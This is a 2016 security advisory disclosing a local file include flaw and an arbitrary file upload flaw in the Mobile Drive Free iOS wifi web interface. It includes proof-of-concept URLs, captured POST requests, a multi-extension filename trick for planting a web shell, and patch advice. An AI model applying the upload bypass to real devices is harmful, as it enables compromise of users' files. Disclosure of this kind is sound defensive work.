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# Mobile Drive Free v1.8 iOS Multiple Web Vulnerabilities

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Document Title:
===============
Mobile Drive Free v1.8 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1708


Release Date:
=============
2016-02-05


Vulnerability Laboratory ID (VL-ID):
====================================
1708


Common Vulnerability Scoring System:
====================================
7.1


Product & Service Introduction:
===============================
Mobile Drive is the ideal app for anyone who transfer documents between PC, iPad and Cloud. Mobile Drive allows you to manage documents and organize them.
You can quickly upload and download documents via email and the popular cloud storage services.

(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/mobile-drive-free-document/id648162472 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple vulnerabilities in the official Mobile Drive Free iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-05: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Keke Cai
Product: Mobile Drive Free - iOS Wifi (Web-Application) 1.8


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official Mobile Drive Free iOS mobile web-application.
The file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with
malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path
include execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the
lfi payload by usage of the wifi interface or local file sync function. Attackers are also able to exploit the filename issue in
combination with persistent injected script code to execute different malicious attack requests. The attack vector is located on
the application-side of the wifi service and the request method to inject is POST.

The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8.
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] Upload

Vulnerable Parameter(s):
[+] filename

Affected Module(s):
[+] Index File Dir Listing (http://localhost:8080/)




1.2
An arbitrary file upload web vulnerability has been discovered in the official Mobile Drive Free iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server.

The vulnerability is located in the filename value of the `upload` file module. Remote attackers are able to upload a php or js web-shell by a rename of the
filename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension
`pentest.png.html.php.js.aspx.html.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file
extension and can access the webshell with elevated access rights to execute.

The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the arbitrary file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] Upload

Vulnerable Parameter(s):
[+] filename (multiple extensions)

Affected Module(s):
[+] Index File Dir Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Exploitation
http://localhost:8080/files/./[LOCAL FILE INCLUDE VULNERABILITY!]


--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] GröÃe des Inhalts[67] Mime Type[text/html]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------54671593930625
Content-Disposition: form-data; name="newfile"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]2.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] GröÃe des Inhalts[2739] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[2739]
Date[Mi., 03 Feb. 2016 14:44:38 GMT]


Vulnerable Source: File Dir Index Listing
<table border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th>Name</th><th class="del">Delete</th></tr>
</thead>
<tbody id="filelist">
<tr><td><a href="/files/1241.jpg" class="file">337.jpg</a></td><td class="del"><form action="/files/337.jpg" method="post">
<input name="_method" value="delete" type="hidden"><input name="commit" value="Delete" class="button" type="submit"></form></td></tr>
<tr class="shadow"><td><a href="/files/./[LOCAL FILE INCLUDE VULNERABILITY!]2.png" class="file"><./[LOCAL FILE INCLUDE VULNERABILITY!]2.png</a></td>
<td class='del'><form action='/files/./[LOCAL FILE INCLUDE VULNERABILITY!]2.png' method='post'><input name='_method' value='delete' type='hidden'/>
<input name="commit" type="submit" value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr></tbody>
</table>



1.2
The arbitrary file upload web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploitation
http://localhost:8080/files/2.png.html.js.php.html.js
http://localhost:8080/files/2.png.html.js.php


--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] GröÃe des Inhalts[67] Mime Type[text/html]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------54671593930625
Content-Disposition: form-data; name="newfile"; filename="2.png.html.js.php.html.js.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] GröÃe des Inhalts[2739] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[2739]
Date[Mi., 03 Feb. 2016 14:44:38 GMT]


Solution - Fix & Patch:
=======================
1.1
The file include vulnerability can be patched by a secure parse and encode of the vulnerable `filename` value in the upload POST method request.
Restrict the filename input and filter with an own set exception to prevent application-side attacks.
Parse also in the Index of Documents the vulnerable name output value to solve the issue.

1.2
Restrict the vulnerable `filename` value and implement a secure filter mechanism with own exception to prevent the upload of files with multiple extensions.
Restrict the upload folder and disallow the execution of files that are already uploaded.


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the filename value of the upload file function is estimated as high. (CVSS 6.8)

1.2
The security risk of the arbitrary file upload web vulnerability in the file upload mechanism is estimated as high. (CVSS 7.1)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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# Iranian Exploit DataBase = http://IeDb.Ir [2016-02-11]

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